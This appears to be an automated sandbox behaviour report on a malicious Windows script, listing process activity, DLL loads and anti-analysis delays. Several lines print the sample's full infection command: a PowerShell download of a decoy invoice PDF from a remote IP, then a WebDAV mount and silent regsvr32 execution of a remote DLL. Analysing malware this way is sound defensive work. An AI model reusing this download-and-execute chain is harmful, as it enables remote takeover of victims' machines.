Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8999.js.csv");ITextStream.WriteLine(" entry:7528 f:oampa");ITextStream.WriteLine(" exec:2 f:oampa");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4685			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5182			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep count: 4685 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep count: 5182 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8044	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4544	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1769952555.0000021020006000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1765787387.0000021020006000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2994176360.00000249ACE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2995578302.00000249B225A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1769258398.000002101FFA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12294169134455.dll
